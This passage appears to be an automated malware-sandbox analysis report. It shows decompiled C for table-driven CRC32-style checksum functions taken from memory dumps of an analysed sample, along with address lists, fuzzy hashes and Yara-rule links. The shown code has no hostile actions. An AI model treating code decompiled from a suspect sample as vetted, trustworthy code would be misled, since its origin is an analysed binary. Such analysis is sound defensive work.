(_t181 >> 0x18) * 4) ^  *(0x41c2b0 + (_t181 & 0x000000ff) * 4) ^  *(_t103 - 8)) >> 0x18) * 4) ^  *(0x41c2b0 + (_t232 & 0x000000ff) * 4) ^  *(_t103 - 4);
						_t89 =  &(_t103[1]);
						_t241 =  *(0x41cab0 + (_t190 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (_t190 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t190 >> 0x18) * 4) ^  *(0x41c2b0 + (_t190 & 0x000000ff) * 4) ^  *(_t89 - 4);
						_t266 = _t266 - 0x20;
						_t208 =  *(0x41cab0 + (( *(0x41cab0 + (( *(0x41cab0 + (_t190 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (_t190 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t190 >> 0x18) * 4) ^  *(0x41c2b0 + (_t190 & 0x000000ff) * 4) ^  *(_t89 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + (_t190 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (_t190 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t190 >> 0x18) * 4) ^  *(0x41c2b0 + (_t190 & 0x000000ff) * 4) ^  *(_t89 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t241 >> 0x18) * 4) ^  *(0x41c2b0 + (_t241 & 0x000000ff) * 4) ^  *_t89) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + (( *(0x41cab0 + (_t190 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (_t190 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t190 >> 0x18) * 4) ^  *(0x41c2b0 + (_t190 & 0x000000ff) * 4) ^  *(_t89 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + (_t190 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (_t190 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t190 >> 0x18) * 4) ^  *(0x41c2b0 + (_t190 & 0x000000ff) * 4) ^  *(_t89 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t241 >> 0x18) * 4) ^  *(0x41c2b0 + (_t241 & 0x000000ff) * 4) ^  *_t89) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (( *(0x41cab0 + (( *(0x41cab0 + (_t190 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (_t190 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t190 >> 0x18) * 4) ^  *(0x41c2b0 + (_t190 & 0x000000ff) * 4) ^  *(_t89 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + (_t190 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (_t190 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t190 >> 0x18) * 4) ^  *(0x41c2b0 + (_t190 & 0x000000ff) * 4) ^  *(_t89 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t241 >> 0x18) * 4) ^  *(0x41c2b0 + (_t241 & 0x000000ff) * 4) ^  *_t89) >> 0x18) * 4) ^  *(0x41c2b0 + (_t199 & 0x000000ff) * 4);
						_t264 = _t264 - 1;
					} while (_t264 != 0);
				}
				if(_t266 >= 4) {
					_t164 = _t266 >> 2;
					do {
						_t212 = _t208 ^ _t89[1];
						_t89 =  &(_t89[1]);
						_t266 = _t266 - 4;
						_t164 = _t164 - 1;
						_t208 =  *(0x41cab0 + (_t212 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (_t212 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t212 >> 0x18) * 4) ^  *(0x41c2b0 + (_t212 & 0x000000ff) * 4);
					} while (_t164 != 0);
				}
				_t90 =  &(_t89[1]);
				if(_t266 != 0) {
					do {
						_t208 = _t208 << 0x00000008 ^  *(0x41c2b0 + (_t208 >> 0x00000018 ^  *_t90 & 0x000000ff) * 4);
						_t90 =  &(_t90[1]);
						_t266 = _t266 - 1;
					} while (_t266 != 0);
				}
				return (( !_t208 & 0x0000ff00) + ( !_t208 << 0x10) << 8) + ( !_t208 >> 0x00000008 & 0x0000ff00) + (_t209 >> 0x18);
			}
















                                        0x00402b90
                                        0x00402b91
                                        0x00402bb8
                                        0x00402bbc
                                        0x00402bc0
                                        0x00402bd2
                                        0x00402bd9
                                        0x00402bda
                                        0x00402bdd
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00402bdd
                                        0x00402bc0
                                        0x00402bdf
                                        0x00402be0
                                        0x00402be6
                                        0x00402bee
                                        0x00402bf1
                                        0x00402bf1
                                        0x00402c34
                                        0x00402c37
                                        0x00402c79
                                        0x00402c7c
                                        0x00402cbf
                                        0x00402cc2
                                        0x00402cc5
                                        0x00402d45
                                        0x00402d85
                                        0x00402d88
                                        0x00402d8b
                                        0x00402e03
                                        0x00402e0a
                                        0x00402e0a
                                        0x00402bf1
                                        0x00402e16
                                        0x00402e1a
                                        0x00402e20
                                        0x00402e20
                                        0x00402e23
                                        0x00402e63
                                        0x00402e66
                                        0x00402e69
                                        0x00402e69
                                        0x00402e20
                                        0x00402e6d
                                        0x00402e73
                                        0x00402e75
                                        0x00402e82
                                        0x00402e89
                                        0x00402e8a
                                        0x00402e8a
                                        0x00402e75
                                        0x00402eb6

                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 519d71d31dfe2b71d65c539f7253ce4d0ce1a0c509a5eaaf561cac07154b4855
                                        • Instruction ID: 74c1b90a01db230de662c72faab58802bb742d928f34651097fec506a9751401
                                        • Opcode Fuzzy Hash: 519d71d31dfe2b71d65c539f7253ce4d0ce1a0c509a5eaaf561cac07154b4855
                                        • Instruction Fuzzy Hash: 15717072A9155347E39CCF5CECD17763713DBC5351F49C23ACA025B6EAC938A922C688
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02082DE0, Relevance: .2, Instructions: 212COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 519d71d31dfe2b71d65c539f7253ce4d0ce1a0c509a5eaaf561cac07154b4855
                                        • Instruction ID: 47216afd8c64361057295e1b08c7a43e312ea427e87c24a6c4061ef008a39525
                                        • Opcode Fuzzy Hash: 519d71d31dfe2b71d65c539f7253ce4d0ce1a0c509a5eaaf561cac07154b4855
                                        • Instruction Fuzzy Hash: DA719272A909534BE39DDF5CECD17763713DBC5351F0DC239CA024B6AACA386522D688
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 004028B0, Relevance: .2, Instructions: 184COMMONCrypto
                                        Download Yara Rule
                                        C-Code - Quality: 100%
                                        			E004028B0(signed int __eax, signed char __ecx, unsigned int __edx) {
				signed int _t87;
				signed int _t90;
				signed int _t119;
				signed char _t175;
				void* _t177;
				void* _t179;
				void* _t181;
				void* _t182;
				unsigned int _t188;
				unsigned int _t238;
				unsigned int _t239;

				_t175 = __ecx;
				_t239 = __edx;
				_t87 =  !__eax;
				if(__edx != 0) {
					while((_t175 & 0x00000003) != 0) {
						_t87 = _t87 >> 0x00000008 ^  *(0x41b2b0 + (( *_t175 & 0x000000ff ^ _t87) & 0x000000ff) * 4);
						_t175 = _t175 + 1;
						_t239 = _t239 - 1;
						if(_t239 != 0) {
							continue;
						}
						goto L4;
					}
				}
				L4:
				if(_t239 >= 0x20) {
					_t238 = _t239 >> 5;
					do {
						_t92 = _t87 ^  *_t175;
						_t177 = _t175 + 8;
						_t196 =  *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4);
						_t179 = _t177 + 8;
						_t101 =  *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8);
						_t181 = _t179 + 8;
						_t214 =  *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x18) * 4) ^  *(0x41beb0 + (_t205 & 0x000000ff) * 4) ^  *(_t181 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x18) * 4) ^  *(0x41beb0 + (_t205 & 0x000000ff) * 4) ^  *(_t181 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 